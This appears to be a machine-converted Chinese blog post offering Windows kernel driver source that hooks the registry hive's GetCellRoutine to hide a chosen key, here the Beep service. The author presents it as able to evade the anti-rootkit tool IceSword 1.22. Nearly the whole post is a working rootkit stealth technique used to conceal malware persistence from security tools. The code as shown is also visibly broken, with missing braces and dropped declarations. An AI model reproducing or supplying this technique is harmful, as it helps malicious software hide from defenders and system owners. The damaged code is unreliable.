天天看點

一段隐藏系統資料庫項的代碼

發一段隐藏系統資料庫項的驅動代碼,可以過目前最新的IceSword1.22。

以前驅動開發網懸賞挑戰IceSword時寫的,不過最後沒公開。那時流氓軟體勢頭正勁,我可不想火上澆油。現在反流氓軟體日漸成熟,也就沒關系了。知道了原理,防禦是非常容易的。

原理很簡單,實作的代碼也很短,啥都不用說,各位直接看示例代碼吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT      0x6972         // ir

#define CM_KEY_INDEX_LEAF      0x696c         // il

#define CM_KEY_FAST_LEAF       0x666c         // fl

#define CM_KEY_HASH_LEAF       0x686c         // hl

// 一些CM的資料結構,隻列出用到的開頭部分

#pragma pack(1)

typedef struct _CM_KEY_NODE {

       USHORT Signature;

       USHORT Flags;

       LARGE_INTEGER LastWriteTime;

       ULONG Spare;               // used to be TitleIndex

       HANDLE Parent;

       ULONG SubKeyCounts[2];     // Stable and Volatile

       HANDLE SubKeyLists[2];     // Stable and Volatile

       // ...

} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {

       USHORT Count;

       HANDLE List[1];

} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {

       ULONG Type;                // "ky02"

       PVOID KeyControlBlock;

       PVOID NotifyBlock;

       PEPROCESS Process;         // the owner process

       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb

} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {

       ULONG Signature;

       PGET_CELL_ROUTINE GetCellRoutine;

} HHIVE, *PHHIVE;

#pragma pack()

// 需隐藏的主鍵名

WCHAR g_HideKeyName[] = L"//Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;

PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;

PCM_KEY_NODE g_LastNode = NULL;

// 打開指定名字的Key

HANDLE OpenKeyByName(PCWSTR pwcsKeyName)

{

       NTSTATUS status;

       UNICODE_STRING uKeyName;

       OBJECT_ATTRIBUTES oa;

       HANDLE hKey;

       RtlInitUnicodeString(&uKeyName, pwcsKeyName);

       InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

       status = ZwOpenKey(&hKey, KEY_READ, &oa);

       if (!NT_SUCCESS(status))

       {

           DbgPrint("ZwOpenKey Failed: %lx/n", status);

           return NULL;

       }

       return hKey;

}

// 擷取指定Key句柄的KeyControlBlock

PVOID GetKeyControlBlock(HANDLE hKey)

       PCM_KEY_BODY KeyBody;

       PVOID KCB;

       if (hKey == NULL) return NULL;

       // 由Key句柄擷取對象體

       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);

           DbgPrint("ObReferenceObjectByHandle Failed: %lx/n", status);

       // 對象體中含有KeyControlBlock

       KCB = KeyBody->KeyControlBlock;

       DbgPrint("KeyControlBlock = %lx/n", KCB);

       ObDereferenceObject(KeyBody);

       return KCB;

// 擷取父鍵的最後一個子鍵的節點

PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)

       // 擷取父鍵的節點

       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);

       // 擷取子鍵的索引

       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

       DbgPrint("ParentNode = %lx/nIndex = %lx/n", ParentNode, Index);

       // 如果為根(二級)索引,擷取最後一個索引

       if (Index->Signature == CM_KEY_INDEX_ROOT)

           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);

           DbgPrint("Index = %lx/n", Index);

       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)

           // 快速葉索引(2k)或散列葉索引(XP/2k3),傳回最後的節點

           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);

       else

           // 一般葉索引,傳回最後的節點

           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);

// GetCell例程的鈎子函數

PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)

       // 調用原函數

       PVOID pRet = g_pGetCellRoutine(Hive, Cell);

       if (pRet)

           // 傳回的是需要隐藏的節點

           if (pRet == g_HideNode)

           {

               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);

               // 查詢、儲存并傳回其父鍵的最後一個子鍵的節點

               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);

               DbgPrint("g_LastNode = %lx/n", g_LastNode);

               // 隐藏的正是最後一個節點,傳回空值

               if (pRet == g_HideNode) pRet = NULL;

           }

           // 傳回的是先前儲存的最後一個節點

           else if (pRet == g_LastNode)

               // 清空儲存值,并傳回空值

               pRet = g_LastNode = NULL;

       return pRet;

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)

       DbgPrint("DriverUnload()/n");

       // 解除挂鈎

       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;

       return STATUS_SUCCESS;

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)

       ULONG BuildNumber;

       ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive

       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell

       PVOID KCB, Hive;

       DbgPrint("DriverEntry()/n");

       pDrvObj->DriverUnload = DriverUnload;

       // 查詢BuildNumber

       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;

       DbgPrint("BuildNumber = %d/n", BuildNumber);

       // KeyControlBlock結構各版本略有不同

       // Cell的值一般小于0x80000000,而Hive正相反,以此來判斷也可以

       switch (BuildNumber)

           case 2195:     // Win2000

               KeyHiveOffset = 0xc;

               KeyCellOffset = 0x10;

               break;

           case 2600:     // WinXP

           case 3790:     // Win2003

               KeyHiveOffset = 0x10;

               KeyCellOffset = 0x14;

           default:

               return STATUS_NOT_SUPPORTED;

       // 打開需隐藏的鍵

       hKey = OpenKeyByName(g_HideKeyName);

       // 擷取該鍵的KeyControlBlock

       KCB = GetKeyControlBlock(hKey);

       if (KCB)

           // 由KCB得到Hive

           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);

           // GetCellRoutine在KCB中,儲存原位址

           g_ppGetCellRoutine = &Hive->GetCellRoutine;

           g_pGetCellRoutine = Hive->GetCellRoutine;

           DbgPrint("GetCellRoutine = %lx/n", g_pGetCellRoutine);

           // 擷取需隐藏的節點并儲存

           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));

           // 挂鈎GetCell例程

           Hive->GetCellRoutine = MyGetCellRoutine;

       ZwClose(hKey);